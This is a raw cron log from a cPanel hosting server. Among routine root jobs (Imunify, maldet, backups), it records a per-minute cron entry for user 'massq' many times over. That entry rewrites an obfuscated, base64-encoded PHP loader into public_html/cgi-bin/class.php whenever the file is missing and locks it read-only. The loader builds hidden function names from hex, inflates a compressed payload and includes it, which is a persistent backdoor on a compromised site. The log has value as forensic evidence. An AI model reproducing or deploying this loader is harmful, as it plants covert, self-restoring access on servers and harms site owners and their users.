Sep  5 07:36:01 server CROND[13999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:36:01 server CROND[14000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:36:01 server CROND[14001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:37:01 server CROND[14379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:37:01 server CROND[14380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:37:01 server CROND[14381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:38:01 server CROND[14841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:38:01 server CROND[14842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:38:01 server CROND[14843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:39:01 server CROND[15209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:39:01 server CROND[15212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:39:01 server CROND[15210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:39:01 server CROND[15211]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 07:40:01 server CROND[15589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:40:01 server CROND[15591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:40:01 server CROND[15592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:40:01 server CROND[15593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:40:01 server CROND[15590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:40:01 server CROND[15595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:40:01 server CROND[15594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:40:01 server CROND[15597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:41:01 server CROND[16459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:41:01 server CROND[16460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:41:01 server CROND[16461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:42:01 server CROND[16838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:42:01 server CROND[16837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:42:01 server CROND[16836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:42:01 server CROND[16839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:43:01 server CROND[17298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:43:01 server CROND[17299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:43:01 server CROND[17300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:44:01 server CROND[17731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:44:01 server CROND[17732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:44:01 server CROND[17733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:45:01 server CROND[18108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:45:01 server CROND[18110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:45:01 server CROND[18125]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:45:01 server CROND[18126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:45:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:45:01 server CROND[18129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:45:01 server CROND[18133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:46:01 server CROND[18937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:46:01 server CROND[18938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:46:01 server CROND[18939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:47:01 server CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:47:01 server CROND[19337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:47:01 server CROND[19338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:48:01 server CROND[19707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
